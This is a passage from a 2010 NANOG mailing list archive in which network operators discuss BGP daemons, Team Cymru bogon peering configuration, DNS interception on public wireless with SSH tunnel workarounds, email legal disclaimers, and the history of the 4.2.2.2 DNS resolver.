the issues. > > - Jared > Yep, this is what I do as well. It's a little disappointing that you have to tunnel into a trusted network in order to prevent shenanigans like that, but it seems to be the way things are. -- Bill Thompson BillT at Mahagonny.com -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 572 bytes Desc: not available URL: From nanog at daork.net Fri Feb 12 19:01:06 2010 From: nanog at daork.net (Nathan Ward) Date: Sat, 13 Feb 2010 14:01:06 +1300 Subject: BIRD vs Quagga In-Reply-To: <4B75DB7D.9070308@ibctech.ca> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> Message-ID: <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> On 13/02/2010, at 11:51 AM, Steve Bertrand wrote: > fwiw, I've also heard good things about bgpd(8) and ospfd(8), but I > haven't tried those either...zebra/Quagga just stuck. OpenBGPd would be great for a public route server at an IX. It's not so great for use in a network unless you run it on OpenBSD - FreeBSD has no metric attribute in it's routing tables, so next-hop IGP metric cannot be compared as the two daemons do not communicate directly at all. If you're on anything other than OpenBSD, I recommend Quagga. I can't comment on BIRD as I have no experience with it yet. XORP is also interesting, it's a more JunOS like interface. It's also some quite heavy C++, so running it on the tiny Soekris boxes that I had meant it wouldn't work for me. If you can spare the CPU and RAM then give XORP a go. -- Nathan Ward From sethm at rollernet.us Fri Feb 12 19:03:04 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 12 Feb 2010 17:03:04 -0800 Subject: CYMRU Bogon Peering In-Reply-To: <4B75DE30.9020400@ibctech.ca> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> <4B75CC7E.4010908@cymru.com> <4B75D1B6.8010609@rollernet.us> <4B75DE30.9020400@ibctech.ca> Message-ID: <4B75FA48.7070509@rollernet.us> On 2/12/2010 15:03, Steve Bertrand wrote: > > What time frame do you determine to be instability? The following is > from a box that has ~25 neighbours. Since the box was reloaded (6w3d > ago), I've had the same uptime with the Team Cymru neighbours as I do > with internal gear. I can't say that I've experienced any instability at > all. It is not uncommon for me to have noticed uptimes well beyond 30w. > Mine are not so good: Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd 38.229.0.5 4 65333 115856 115859 16411814 0 0 01:33:51 30 68.22.187.24 4 65333 26968 29671 16311293 0 0 2w4d 30 I see you have 68.22.187.24 in your list too, but my uptime is less. Are you using increased hold times? ~Seth From nanog at daork.net Fri Feb 12 19:09:40 2010 From: nanog at daork.net (Nathan Ward) Date: Sat, 13 Feb 2010 14:09:40 +1300 Subject: CYMRU Bogon Peering In-Reply-To: <4B75FA48.7070509@rollernet.us> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> <4B75CC7E.4010908@cymru.com> <4B75D1B6.8010609@rollernet.us> <4B75DE30.9020400@ibctech.ca> <4B75FA48.7070509@rollernet.us> Message-ID: <6F75FE94-A1C0-4260-A459-92742D888E41@daork.net> On 13/02/2010, at 2:03 PM, Seth Mattinen wrote: > On 2/12/2010 15:03, Steve Bertrand wrote: >> >> What time frame do you determine to be instability? The following is >> from a box that has ~25 neighbours. Since the box was reloaded (6w3d >> ago), I've had the same uptime with the Team Cymru neighbours as I do >> with internal gear. I can't say that I've experienced any instability at >> all. It is not uncommon for me to have noticed uptimes well beyond 30w. >> > > > Mine are not so good: > > Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down > State/PfxRcd > 38.229.0.5 4 65333 115856 115859 16411814 0 0 01:33:51 30 > > 68.22.187.24 4 65333 26968 29671 16311293 0 0 2w4d > 30 > > I see you have 68.22.187.24 in your list too, but my uptime is less. Are > you using increased hold times? Nevermind BGP timers, do you normally do well holding TCP connections open for weeks on end across the Internet? -- Nathan Ward From steve at ibctech.ca Fri Feb 12 19:17:16 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Fri, 12 Feb 2010 20:17:16 -0500 Subject: CYMRU Bogon Peering In-Reply-To: <4B75FA48.7070509@rollernet.us> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> <4B75CC7E.4010908@cymru.com> <4B75D1B6.8010609@rollernet.us> <4B75DE30.9020400@ibctech.ca> <4B75FA48.7070509@rollernet.us> Message-ID: <4B75FD9C.9020000@ibctech.ca> Seth Mattinen wrote: > On 2/12/2010 15:03, Steve Bertrand wrote: >> What time frame do you determine to be instability? The following is >> from a box that has ~25 neighbours. Since the box was reloaded (6w3d >> ago), I've had the same uptime with the Team Cymru neighbours as I do >> with internal gear. I can't say that I've experienced any instability at >> all. It is not uncommon for me to have noticed uptimes well beyond 30w. >> > > > Mine are not so good: > > Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down > State/PfxRcd > 38.229.0.5 4 65333 115856 115859 16411814 0 0 01:33:51 30 > > 68.22.187.24 4 65333 26968 29671 16311293 0 0 2w4d > 30 > > I see you have 68.22.187.24 in your list too, but my uptime is less. Are > you using increased hold times? No... I haven't changed anything. Here is my exact config from said box (for that host): router bgp 14270 !...snip... neighbor cymru-bogon peer-group neighbor cymru-bogon description Cymru BOGON peer group neighbor cymru-bogon ebgp-multihop 255 neighbor cymru-bogon update-source Loopback99 !...snip... neighbor 68.22.187.24 remote-as 65333 neighbor 68.22.187.24 peer-group cymru-bogon neighbor 68.22.187.24 description Cymru route-server #2 !...snip... address-family ipv4 redistribute static route-map RTBH-OUT neighbor cymru-bogon prefix-list CYMRU-OUT out neighbor cymru-bogon route-map CYMRU-MAP-IN in neighbor cymru-bogon maximum-prefix 200 !...snip... neighbor 68.22.187.24 activate !...snip... ip community-list expanded BOGON permit 65333:888 ip community-list expanded BLACKHOLE permit 14270:600 ip as-path access-list 10 permit ^65333* !...snip... ip prefix-list CYMRU-OUT seq 5 deny 0.0.0.0/0 le 32 !...snip... route-map CYMRU-MAP-IN permit 10 description Null route BOGONS learnt from Cymru match community BOGON set community 14270:888 no-export additive set ip next-hop 192.0.2.2 !...snip... route-map RTBH-OUT permit 10 match tag 600 set local-preference 500 set origin igp set community 14270:600 no-export !__END__ Do you have any other peers on the same int that are dropping as well? Steve From robt at cymru.com Fri Feb 12 19:51:53 2010 From: robt at cymru.com (Rob Thomas) Date: Fri, 12 Feb 2010 19:51:53 -0600 Subject: CYMRU Bogon Peering In-Reply-To: <4B75D1B6.8010609@rollernet.us> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> <4B75CC7E.4010908@cymru.com> <4B75D1B6.8010609@rollernet.us> Message-ID: <4B7605B9.801@cymru.com> Hi, Seth. > While I have your attention, I've noticed there's been a bit of > instability lately with the BGP sessions (in fact one of mine right now > is down). With 30 routes it's not a big deal to have frequent churn, but > if you're going to expand that to a larger feed then it could become a > problem. Alas, the joy of multihop BGP. :) This is why we recommend at least two peering sessions to two disparate route-servers. We'll take the same approach with the expanded IPv4 and IPv6 offerings. If you could send me a list of outages with dates and times, I'll look into those ASAP. I can see if other sessions were dropping at the same time, upstream outages, etc. Feel free to hit up noc at cymru.com with outage reports as they occur as well. Thanks! Rob. -- Rob Thomas Team Cymru https://www.team-cymru.org/ ASSERT(coffee != empty); From sethm at rollernet.us Fri Feb 12 21:00:48 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 12 Feb 2010 19:00:48 -0800 Subject: CYMRU Bogon Peering In-Reply-To: <4B7605B9.801@cymru.com> References: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> <4B75CC7E.4010908@cymru.com> <4B75D1B6.8010609@rollernet.us> <4B7605B9.801@cymru.com> Message-ID: <4B7615E0.4060305@rollernet.us> On 2/12/2010 17:51, Rob Thomas wrote: > Hi, Seth. > >> While I have your attention, I've noticed there's been a bit of >> instability lately with the BGP sessions (in fact one of mine right now >> is down). With 30 routes it's not a big deal to have frequent churn, but >> if you're going to expand that to a larger feed then it could become a >> problem. > > Alas, the joy of multihop BGP. :) This is why we recommend at least > two peering sessions to two disparate route-servers. We'll take the > same approach with the expanded IPv4 and IPv6 offerings. Yep, I have two. It's always one or the other, but never both simultaneously. > If you could send me a list of outages with dates and times, I'll look > into those ASAP. I can see if other sessions were dropping at the same > time, upstream outages, etc. > > Feel free to hit up noc at cymru.com with outage reports as they occur as well. > Thanks, I'll keep an eye on it. ~Seth From alex.wilkinson at dsto.defence.gov.au Fri Feb 12 22:02:48 2010 From: alex.wilkinson at dsto.defence.gov.au (Wilkinson, Alex) Date: Sat, 13 Feb 2010 12:02:48 +0800 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: References: Message-ID: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> 0n Sat, Feb 13, 2010 at 06:15:02AM +0800, Randy Bush wrote: >i just lost ten minutes debugging what i thought was a server problem >which turned out to be a dns trapper on the wireless in the changi sats >lounge. this is not the first time i have been caught by this. Whats a "dns trapper" ? -Alex IMPORTANT: This email remains the property of the Australian Defence Organisation and is subject to the jurisdiction of section 70 of the CRIMES ACT 1914. If you have received this email in error, you are requested to contact the sender and delete the email. From johnl at iecc.com Fri Feb 12 22:39:14 2010 From: johnl at iecc.com (John Levine) Date: 13 Feb 2010 04:39:14 -0000 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> Message-ID: <20100213043914.57060.qmail@simone.iecc.com> >Whats a "dns trapper" ? A "transparent" proxy that intercepts DNS requests and provides edited results intended to improve your customer experience, typically defined as returning A records for web servers full of advertisements when you were expecting something else. The unfortunate fact is that if you're using random networks, you'll get increasingly random results, and there's no substitude for a tunnel back to a known network. R's, John From brandon.galbraith at gmail.com Fri Feb 12 22:45:21 2010 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Fri, 12 Feb 2010 22:45:21 -0600 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> References: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> Message-ID: <366100671002122045r66655083l238b7e46411fab56@mail.gmail.com> Transparent dns rewriter inline on the network On 2/12/10, Wilkinson, Alex wrote: > > 0n Sat, Feb 13, 2010 at 06:15:02AM +0800, Randy Bush wrote: > > >i just lost ten minutes debugging what i thought was a server problem > >which turned out to be a dns trapper on the wireless in the changi sats > >lounge. this is not the first time i have been caught by this. > > Whats a "dns trapper" ? > > -Alex > > IMPORTANT: This email remains the property of the Australian Defence > Organisation and is subject to the jurisdiction of section 70 of the CRIMES > ACT 1914. If you have received this email in error, you are requested to > contact the sender and delete the email. > > > -- Brandon Galbraith Mobile: 630.400.6992 FNAL: 630.840.2141 From oliver.gorwits at oucs.ox.ac.uk Sat Feb 13 04:02:30 2010 From: oliver.gorwits at oucs.ox.ac.uk (Oliver Gorwits) Date: Sat, 13 Feb 2010 10:02:30 +0000 Subject: dns interceptors In-Reply-To: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> Message-ID: <4B7678B6.1080205@oucs.ox.ac.uk> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 12/02/2010 22:35, Jim Richardson wrote: >> what are other roaming folk doing about this? > ssh tunnels to IP address Just to add that openssh and putty both provide a SOCKS proxy which some might find more straightforward to use for multiple protocols. $ ssh -D 1080 myserver.example.net and then point your browser/MUA/etc at localhost:1080 (there's possibly a SOCKS option to tick, somewhere). Connections will then tunnel to and emerge from myserver.example.net. HTH, p.s. and for more proxy fun, try the FoxyProxy extension for Firefox if you have a few of these to juggle. - -- Oliver Gorwits, Network and Telecommunications Group, Oxford University Computing Services -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkt2eLUACgkQ2NPq7pwWBt5xHQCg2kKp2ElkfDnTpltLQzjQma60 JfYAn3lLcs961VJASI8zLkv1h9c5AvOy =OYuP -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Sat Feb 13 11:12:55 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 13 Feb 2010 12:12:55 -0500 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: Your message of "Sat, 13 Feb 2010 12:02:48 +0800." <20100213040248.GI45780@stlux503.dsto.defence.gov.au> References: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> Message-ID: <11596.1266081175@localhost> On Sat, 13 Feb 2010 12:02:48 +0800, "Wilkinson, Alex" said: > IMPORTANT: This email remains the property of the Australian Defence Organisation Have fun trying to enforce that after posting to a public mailing list in North America, with recipients all over the world. Care to cite any relevant legal basis for the claim that would hold outside Australia? > If you have received this email in error, you are requested to contact the > sender and delete the email. Consider yourself notified, as obviously you sent it to the NANOG list in error if you thought you were retaining ownership of the mail. Are you planning to reimburse us all for the costs of making sure that mail is *really* deleted so a forensics expert can't recover it, off every single mail server it hit along the way? I wonder if the Australian legal system has the concept of "overwarning"... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From bzs at world.std.com Sat Feb 13 12:43:17 2010 From: bzs at world.std.com (Barry Shein) Date: Sat, 13 Feb 2010 13:43:17 -0500 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: <11596.1266081175@localhost> References: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> <11596.1266081175@localhost> Message-ID: <19318.62149.83068.97356@world.std.com> On February 13, 2010 at 12:12 Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) wrote: > On Sat, 13 Feb 2010 12:02:48 +0800, "Wilkinson, Alex" said: > > > IMPORTANT: This email remains the property of the Australian Defence Organisation > > Have fun trying to enforce that after posting to a public mailing list > in North America, with recipients all over the world. Care to cite any > relevant legal basis for the claim that would hold outside Australia? I know I'm an idiot to respond to this BUT part of the implication of copyright ownership is: A) that the text is protected specifically BECAUSE it is or will be published. So why would publishing it work against that? Posting it to a public mailing list would seem to imply some agreement to free redistribution, archiving, etc. but that's only a small subset of rights under copyright which leads me to... B) One aim is that the text is not defaced. Imagine I took the quotation above from your note and inserted expletives, perhaps racist epithets, keeping the indication that it was your text I was quoting. Do you believe you would have a complaint? What if doing that got you fired or otherwise harmed you in a reasonably measurable way. Now, how could you follow up on a complaint without some notion that those original words were at some point owned by you? Etc. IANAL, but it doesn't strike me as half as preposterous as you say. -- -Barry Shein The World | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: 800-THE-WRLD | Dial-Up: US, PR, Canada Software Tool & Die | Public Access Internet | SINCE 1989 *oo* From bonomi at mail.r-bonomi.com Sat Feb 13 13:40:20 2010 From: bonomi at mail.r-bonomi.com (Robert Bonomi) Date: Sat, 13 Feb 2010 13:40:20 -0600 (CST) Subject: dns interceptors [SEC=UNCLASSIFIED] Message-ID: <201002131940.o1DJeKoH011317@mail.r-bonomi.com> [ getting afield from 'operational' issues, off-list responses recommended ] > From: Barry Shein > Date: Sat, 13 Feb 2010 13:43:17 -0500 > Subject: Re: dns interceptors [SEC=UNCLASSIFIED] > > On February 13, 2010 at 12:12 Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) wrote: > > On Sat, 13 Feb 2010 12:02:48 +0800, "Wilkinson, Alex" said: > > > > > IMPORTANT: This email remains the property of the Australian Defence Organisation > > > > Have fun trying to enforce that after posting to a public mailing list > > in North America, with recipients all over the world. Care to cite any > > relevant legal basis for the claim that would hold outside Australia? > > I know I'm an idiot to respond to this BUT part of the implication of > copyright ownership is: Note well that the 'disclaimer' is claiming ownership of the email _ITSELF_, Not just to the intellectual property rights to the contents of the message. This claim _is_ inconsistent with the 'established body of law' in any juris0 diction that holds to the 'doctrine of first sale'. [[.. sneck ..]] > IANAL, but it doesn't strike me as half as preposterous as you say. What would you think about a notice on a flyer that showed up in your _snail-mail_ mailbox that said "this document remains the property of XYZ Marketing, PLC. -- you must retain it, and return it to us upon demand" ? Absent an _agreement_ (in avance!) between the parties, _any_ such bombast in email (or snail-mail, for that matter) is -- at *best* -- a CYA attempt by the sender against a claim _against_the_sender_ of a lack of due care in handling potentially sensitive material. The presense of such statements in a message -- in the absense of advance agreement to terms -- has absolutely _no_ effect with regard to what the recipient 'may' do with the message, or it's contents. Any claims to the contrary are; (a) attempts to bamboozle the uninformed, (b) mandated by those who do -not- understand the law on the matter, or (c) included for 'self-protection' -- in the off-chance 'hope' that in the event of an actual screw-up on the sender's part, the presense of that claim will mitigate their liabilty. TTBOMK, this premise has -never- been tested in court, so the effacicy of the approch is an open question. OTOH, if 'everybody else' _is_ doing it, one can be accused of 'negligence' for not following the 'best practice' of rest of the sheeple. From randy at psg.com Sat Feb 13 15:58:42 2010 From: randy at psg.com (Randy Bush) Date: Sun, 14 Feb 2010 06:58:42 +0900 Subject: dns interceptors In-Reply-To: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> Message-ID: > ssh tunnels to IP address i am often on funky networks in funky places. e.g. the wireless in changi really sucked friday night. if i ssh tunneled, it would multiply the suckiness as tcp would have puked at the loss rate. smb whacked me that i should use non-tcp tunnels. randy From randy at psg.com Sat Feb 13 16:04:30 2010 From: randy at psg.com (Randy Bush) Date: Sun, 14 Feb 2010 07:04:30 +0900 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> References: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> Message-ID: > IMPORTANT: This email remains the property of the Australian Defence > Organisation and is subject to the jurisdiction of section 70 of the > CRIMES ACT 1914. If you have received this email in error, you are > requested to contact the sender and delete the email. you have sent a message to me which seems to contain a legal warning on who can read it, or how it may be distributed, or whether it may be archived, etc. i do not accept such email. my mail user agent detected a legal notice when i was opening your mail, and automatically deleted it. so do not expect further response. yes, i know your mail environment automatically added the legal notice. well, my mail environment automatically detected it, deleted it, and sent this message to you. so don't expect a lot of sympathy. and if you choose to work for some enterprise clueless enough to think that they can force this silliness on the world, use gmail, hotmail, ... randy From arnold at nipper.de Sat Feb 13 17:02:53 2010 From: arnold at nipper.de (Arnold Nipper) Date: Sun, 14 Feb 2010 00:02:53 +0100 Subject: BIRD vs Quagga In-Reply-To: <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com><1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <9963A3ED609CA0478546F3814FE42BD3179F3464F9@uscnt1405.us.deloitte.com> <4B75DB7D.9070308@ibctech.ca> <5CC5BD71-7131-4703-9164-564017FD3616@daork.net> Message-ID: <4B772F9D.3010003@nipper.de> On 13.02.2010 02:01 Nathan Ward wrote > On 13/02/2010, at 11:51 AM, Steve Bertrand wrote: > >> fwiw, I've also heard good things about bgpd(8) and ospfd(8), but I >> haven't tried those either...zebra/Quagga just stuck. > > > OpenBGPd would be great for a public route server at an IX. > Be cautious when doing filtering. bgpctl will hang for minutes, even hours. Otherwise OpenBGPD seems to be very performant. Quagga does not really behave well with lots of peers (lots >> 200), but there will be an optimized route server version soon. BIRD seems to do fine. Best regards, Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 251 bytes Desc: OpenPGP digital signature URL: From goemon at anime.net Sat Feb 13 19:16:21 2010 From: goemon at anime.net (goemon at anime.net) Date: Sat, 13 Feb 2010 17:16:21 -0800 (PST) Subject: AT&T Mind Boggles... In-Reply-To: <4B744B78.7020107@west.net> References: <201002120212.19859.mtinka@globaltransit.net> <4B744B78.7020107@west.net> Message-ID: On Thu, 11 Feb 2010, Jay Hennigan wrote: > Mark Tinka wrote: >> >> AT&T, what gives? >> > You need the proper perspective on these things. Rent and watch this classic > movie from 1967, then you'll understand. > http://www.imdb.com/title/tt0062153/ This is a bit more accessible, and free: http://www.hulu.com/watch/4163/saturday-night-live-ernestine -Dan From tkapela at gmail.com Sat Feb 13 19:47:23 2010 From: tkapela at gmail.com (Anton Kapela) Date: Sat, 13 Feb 2010 20:47:23 -0500 Subject: Google to offer fiber to end users In-Reply-To: <4B75B751.80400@bogus.com> References: <6eb799ab1002101708l8fa1bebx392dfb362b1c7564@mail.gmail.com> <4B75B751.80400@bogus.com> Message-ID: <2e9d8ae51002131747l7f5a7061vf7f157fe56922ea6@mail.gmail.com> > James Hess wrote: >> For now.. with 1gigabit residential connections, ?BCP 38 ?OUGHT to be >> Google's answer. ?If Google handles that properly, ?they ?_should_ >> make it mandatory that all traffic ?from residential customers be >> filtered, in all cases, ? in order to ?only forward ? packets with >> their ?legitimately assigned ?or registry-issued publicly verifiable >> IP prefix(es) ?in the ?IP source field. ? ? Must be mandatory even for >> ?'resellers', ?otherwise there's no point. > > The ?amount of DOS that is spoofed today is by all reports significantly > lower as percentage of overall DOS than it was in say 2000. > > BCP 38 is all fine and dandy, and you should implement it, but it's not > going to stop the botnets. After re-reading the original post Google will be providing BOTH a) generic L2 transport for resellers to use in reaching users/subscribers b) their own L3 product Enforcing 'resellers' to do BCP38 on their L2 product reads synonymous to "boondogle." Further, who cares? This isn't where the "bad stuff" is given the context of a multi-access L2 network. >> P.S. ?reasonable abuse response is not defined as a ?4-day delayed >> answer to a ?'help, no contact addresses will answer me' post on nanog >> (long after automated processes finally kicked in).. ? ? Reasonable >> response to a ?continuous ?1gigabit ?flood ?or ?100 kilopacket ?flood >> should be ?less than 12 hours. NOC's that give a crap are good, but we have other tools at our disposal. I find that customers tend to 'take note' they've screwed-up something badly when their port goes ERRDISABLE and looses link for a few minutes. I understand that NANOG typically doesn't concern itself with edge-access techniques, but there are easy ways to mitigate allot of what a NOC might have to handle. Perhaps it's worth forking this thread to discuss? Done well, this should end up somewhere near 'uninportant' or a 'non-issue.' -Tk From jay at west.net Sat Feb 13 20:13:46 2010 From: jay at west.net (Jay Hennigan) Date: Sat, 13 Feb 2010 18:13:46 -0800 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: References: <20100213040248.GI45780@stlux503.dsto.defence.gov.au> Message-ID: <4B775C5A.70808@west.net> > IMPORTANT: This email remains the property of the Australian Defence > Organisation and is subject to the jurisdiction of section 70 of the > CRIMES ACT 1914. If you have received this email in error, you are > requested to contact the sender and delete the email. NOTICE: This communication may contain confidential and/or privileged information. If you are not the intended recipient, or believe that you have received this communication in error you are obligated to kill yourself and anyone else who may have read it, not necessarily in that order. So there. My disclaimer is scarier than yours. Nyaah. You started this silly nonsense. Knock it off and I will too, ok? It's worthless from a legal standpoint and is responsible for the needless suffering of billions of innocent electrons. Nobody reads it anyway. You're not actually reading this, are you? I didn't think so. -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From Valdis.Kletnieks at vt.edu Sat Feb 13 22:01:40 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 13 Feb 2010 23:01:40 -0500 Subject: dns interceptors [SEC=UNCLASSIFIED] In-Reply-To: Your message of "Sat, 13 Feb 2010 17:53:19 EST." References: Message-ID: <6746.1266120100@localhost> On Sat, 13 Feb 2010 17:53:19 EST, Dean Anderson said: (One of these days, somebody will find a way to correct things for the benefit of those googling and reading the thread in the list archives in the future, without feeding the trolls) > Robert Bonomi appears to have no valid premise of first sale because > there was no sale, so its seems impossible to invoke anything from the > so-called doctrine of first sale. The federal district court ruling in UMG Recordings v. Augusto held otherwise, when they ruled that first sale applied to promotional recordings sent to DJs for free and stamped 'Not for resale'. It held that they were gifts, and first sale has long applied to gifts as well as sales: 10 Although this statutory limitation is commonly referred to as the first sale doctrine, its 11 protection does not require a "sale." The doctrine applies after the "first authorized disposition by 12 which title passes." 2 Nimmer ? 8.12[B][1][a]. This passing of title may occur through a transfer 13 by gift. See 4 William F. Patry, Patry on Copyright ? 13:15 ("Since the principle [of the first sale 14 doctrine] applies when copies are given away or are otherwise permanently transferred without 15 the accoutrements of a sale, 'exhaustion' is the better description."); 2 Paul Goldstein, Goldstein 16 on Copyright ? 7.6.1 n.4 (3d ed.) ("[A] gift of copies or phonorecords will qualify as a 'first sale' to 17 the same extent as an actual sale for consideration."). http://www.eff.org/files/filenode/umg_v_augusto/LA07CV03106SJO-O.pdf So a sale is obviously not required. > But this is the same Bonomi who sent the following email (below). > Apparently Bonomi thinks he has a "legal right" not to get responses to > his emails on public lists, and that he can imply that "legal right" to > prevent others from responding to his nonsense. You're actually probably right, and his notice is likely not legally binding. But you know Dean - if you feel that you have to raise the point whether there's any legal validity to a "Dear Dean: Please don't email me. Ever", that's saying something. And the world would be a much better place if you ever figure out what that something is. > Many organizations (particularly law firms) have similar declarations of > ownership of the content automatically attached by the mailserver. I'm > sure he has seen such declarations before. The fact that lots of people do it doesn't imply it has validity (as you hopefully realize yourself, when you question if Robert Bonomi's notice has any legal standing). Law firms in particular have a long history of making as many far-reaching claims as they think they can get away without getting censured. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From jafo at tummy.com Sun Feb 14 03:16:30 2010 From: jafo at tummy.com (Sean Reifschneider) Date: Sun, 14 Feb 2010 02:16:30 -0700 Subject: History of 4.2.2.2. What's the story? Message-ID: <20100214091630.GA13678@tummy.com> I've wondered about this for years, but only this evening did I start searching for details. And I really couldn't find any. Can anyone point me at distant history about how 4.2.2.2 came to be, in my estimation, the most famous DNS server on the planet? I know that it was originally at BBN, what I'm looking for is things like: How the IP was picked. (I'd guess it was one of the early DNS servers, and the people behind it realized that if there was one IP address that really needed to be easy to remember, it was the DNS server, for obvious reasons). Was it always meant to be a public resolver? How it continued to remain an open resolver, even in the face of amplifier attacks using DNS resolvers. Perhaps it has had rate-limiting on it for a long time. There's a lot of conjecture about it using anycast, anyone know anything about it's current configuration? So, if anyone has any stories about 4.2.2.2, I'd love to hear them. Thanks, Sean -- Microsoft treats objects like women, man... -- Kevin Fenzi, paraphrasing the Dude, 1998 Sean Reifschneider, Member of Technical Staff tummy.com, ltd. - Linux Consulting since 1995: Ask me about High Availability From fm-lists at st-kilda.org Sun Feb 14 04:31:02 2010 From: fm-lists at st-kilda.org (Fearghas McKay) Date: Sun, 14 Feb 2010 10:31:02 +0000 Subject: AT&T Mind Boggles... In-Reply-To: References: <201002120212.19859.mtinka@globaltransit.net> <4B744B78.7020107@west.net> Message-ID: <4EA2E58C-1B60-4CE7-9F0F-8AE5EB8C2A17@st-kilda.org> On 14 Feb 2010, at 01:16, goemon at anime.net wrote: > This is a bit more accessible, and free: > > http://www.hulu.com/watch/4163/saturday-night-live-ernestine Not if you are outside of the USA as the OP is... f From auser at mind.net Sun Feb 14 06:43:20 2010 From: auser at mind.net (Steve Ryan) Date: Sun, 14 Feb 2010 04:43:20 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <20100214091630.GA13678@tummy.com> References: <20100214091630.GA13678@tummy.com> Message-ID: <4B77EFE8.3040808@mind.net> I think around 10 years ago Slashdot had a few stories (and still do, actually) about how great these resolvers were. I think that propelled quite a bit of their growth and popularity. On 2/14/2010 1:16 AM, Sean Reifschneider wrote: > I've wondered about this for years, but only this evening did I start > searching for details. And I really couldn't find any. > > Can anyone point me at distant history about how 4.2.2.2 came to be, in my > estimation, the most famous DNS server on the planet? > > I know that it was originally at BBN, what I'm looking for is things like: > > How the IP was picked. (I'd guess it was one of the early DNS servers, > and the people behind it realized that if there was one IP address > that really needed to be easy to remember, it was the DNS server, > for obvious reasons). > Was it always meant to be a public resolver? > How it continued to remain an open resolver, even in the face of > amplifier attacks using DNS resolvers. Perhaps it has had > rate-limiting on it for a long time. > There's a lot of conjecture about it using anycast, anyone know anything > about it's current configuration? > > So, if anyone has any stories about 4.2.2.2, I'd love to hear them. > > Thanks, > Sean > From jco at direwolf.com Sun Feb 14 08:16:13 2010 From: jco at direwolf.com (John Orthoefer) Date: Sun, 14 Feb 2010 09:16:13 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <20100214091630.GA13678@tummy.com> References: <20100214091630.GA13678@tummy.com> Message-ID: <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> Since I'm watching B5 again on DVD.... I was there at the dawning of the age of 4.2.2.1 :) We did it, and we I mean Brett McCoy and my self. But most of the credit/blame goes to Brett... I helped him, but at the time I was mostly working on getting out Mail relays working right. This was about 12 years ago, about 1998, I left Geunitity in 2000, and am back at BBN/Raytheon now. I remember we did most of the work after we moved out of Cambridge and into Burlington. Genuity/GTEI/Planet/BBN owned 4/8. Brett went looking for an IP that was simple to remember, I think 4.4.4.4 was in use by neteng already. But it was picked to be easy to remember, I think jhawk had put a hold on the 4.2.2.0/24 block, we got/grabbed 3 address 4.2.2.1, 4.2.2.2, and 4.2.2.3 so people had 3 address to go to. At the time people had issues with just using a single resolver. We also had issues with both users and registers since clearly they aren't geographically diverse, trying to explain routing tricks to people KNOW all IPs come in and are routed as Class A/B/C blocks is hard. NIC.Near.Net which was our primary DNS server for years before I transferred to planet from 